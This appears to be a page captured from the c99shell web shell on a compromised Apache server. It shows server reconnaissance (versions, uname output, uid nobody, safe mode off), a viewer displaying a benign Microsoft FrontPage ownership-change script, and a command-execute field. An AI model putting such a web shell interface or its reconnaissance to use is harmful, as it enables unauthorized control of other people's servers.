Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 uid=99(nobody) gid=98(nobody) groups=98(nobody) Safe-mode: OFF (not secure) /usr/local/frontpage/version5.0/ drwxr-xr-x | |
| Viewing file: Select action/file-type: #! /bin/sh
#
#
# Copyright 1996-2001 Microsoft Corporation -- All Rights Reserved.
#
# Automatically generated by fp_install.sh
#
# Automatically generated by fp_install.sh on Wed Jul 20 23:13:14 PDT 2005
#
# You will need to edit this script before running it. Change each
# <OWNER> and <GROUP> to reflect the ownership/group that you want
# set for the web.
#
# Example: 80 /testweb webowner webgroup
#
VERSION="5.0"
chown_web()
{
port=$1
webname=$2
webowner=$3
webgroup=$4
if [ "$webowner" = "<OWNER>" ] || [ "$webgroup" = "<GROUP>" ]
then
echo "WARNING: Owner/Group not specified for web $webname on $port."
echo "Skipping to next web..."
else
if [ "$webname" != "/" ]
then
webname=`echo $webname | sed -e 's%^/%%g'`
webtext="$webname"
web="-w $webname"
else
webtext="root web"
web=""
fi
case ${port} in
*:*) multihost="-m "`echo ${port} | cut -d: -f1`
multiport="-p "`echo ${port} | cut -d: -f2`
;;
*) multihost=""
multiport="-p ${port}"
;;
esac
echo
echo "Chowning web ${webtext} in port ${port} to owner ${webowner} group ${webgroup}"
/usr/local/frontpage/version5.0/bin/owsadm.exe -o chown $multiport $multihost $web -xUser $webowner -xGroup $webgroup -t apache-2.0
fi
}
while read port webname webowner webgroup
do
chown_web $port $webname $webowner $webgroup
done <<ENDCHOWN
ENDCHOWN
|
:: Command execute :: | |
--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0041 ]-- |